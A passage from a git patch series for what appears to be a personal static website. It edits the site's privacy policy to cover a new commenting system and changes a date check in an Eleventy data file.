Pages^[Cloudflare Pages may use cookies to combat spam and malicious activity. See their [cookie policy](https://www.cloudflare.com/cookie-policy/).], our commenting system, and SoundCloud embeds. * Cloudflare *Analytics* and jsDelivr claim they don't use cookies. ([Cloudflare](https://www.cloudflare.com/web-analytics/#:~:text=Cloudflare%20Web%20Analytics%20does%20not,the%20purpose%20of%20displaying%20analytics.); [jsDelivr](https://www.jsdelivr.com/terms/privacy-policy-jsdelivr-net#:~:text=We%20do%20not%20use%20cookies)) * **Identity Data**: Name, Email address. - * In the [Contact Form][contact-form], these are **optional** fields. You have the discretion to *not* fill in those fields. - {# * In Disqus guest commenting, these are **mandatory** fields #} + * In the [Contact Form][contact-form] and Commenting Forms, these are **optional** fields. You have the discretion to *not* fill in those fields. ## Data Usage We use personal data for the following purposes: -- **Technical Data**: To optimise website experience. To draw insights on readers and to improve the site. +- **Technical Data**: To optimise website experience. To draw insights from readers and to improve the site. - **Identity Data**: For contact and communication purposes. To personalise responses to comments. Third-party services may have other clauses, especially for cookies. Please refer to their [privacy policies](#third-party). ## Data Sharing -We do not share your personal data with third-parties. Any personal data collected by third-parties were obtained when you load the page, when use a third-party account, or when you voluntarily submit your identity data. +We do not share your personal data with third-parties. ## Data Protection, Retention, and Rights @@ -49,6 +48,7 @@ Whilst personal data helps us improve the site, such data does not reside with u Data entered into the contact form is retained up to 30 days by FormCarry, according to custom configuration. +For the commenting system, any data such as comments and user information will be retained indefinitely; but you may [submit a request][contact-form] to have your account deleted or your comments removed. ## Changes to the Privacy Policy @@ -70,17 +70,14 @@ For your reference, here is a collection of third-party services we use and thei | FormCarry | Forms | ✓ | ✓[^fc1] | | | {% endtable %} -{# | Disqus[^disqus] | Comments | ✓ | ✓[^dq1] | ✓ | [Link][pdqs] | #} [pghp]: https://docs.github.com/en/pages/getting-started-with-github-pages/about-github-pages#data-collection [pjsd]: https://www.jsdelivr.com/terms/privacy-policy-jsdelivr-net [cclf]: https://www.cloudflare.com/cookie-policy/ [pclf]: https://www.cloudflare.com/privacypolicy -{# [pdqs]: https://help.disqus.com/en/articles/1717103-disqus-privacy-policy #} [pscl]: https://soundcloud.com/pages/privacy [^u]: Third-party data collection as of writing. Their policies may have updated since. -{# [^dq1]: Applicable if commenting or logged in. #} [^sc1]: Applicable if logged in. [^fc1]: Applicable if filled in. @@ -88,9 +85,6 @@ For your reference, here is a collection of third-party services we use and thei - SoundCloud embeds are only loaded on relevant pages (music pages, home page, etc.). - FormCarry only applies to pages containing forms (e.g. the contact form). -{# - Disqus will only be loaded on posts which allow comments, and when the page is scrolled down far enough. #} -{# [^disqus]: Free tier. Supposedly comes with advertising. #} - ## Contact If you have any questions or concerns about our privacy policy, please [contact us][contact-form]. From 37fffb29e6a89b899c0582c0dd5ad1f07241de82 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Fri, 30 Aug 2024 19:27:46 +0800 Subject: [PATCH 34/34] fix: date in non-post pages --- content/content.11tydata.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/content/content.11tydata.js b/content/content.11tydata.js index 15dfb2211..7360cbf01 100644 --- a/content/content.11tydata.js +++ b/content/content.11tydata.js @@ -10,7 +10,7 @@ module.exports = { permalink: data => (data.draft && !process.env.BUILD_DRAFTS ? false : data.permalink), hasPostedDate: data => { const file = data.page.inputPath.split('/').pop(); - return !!(file.match(/^\d+-\d+-\d+/) || data.date); + return !!(file.match(/^\d+-\d+-\d+/)); }, hasUpdatedDate: _ => true, date: data => {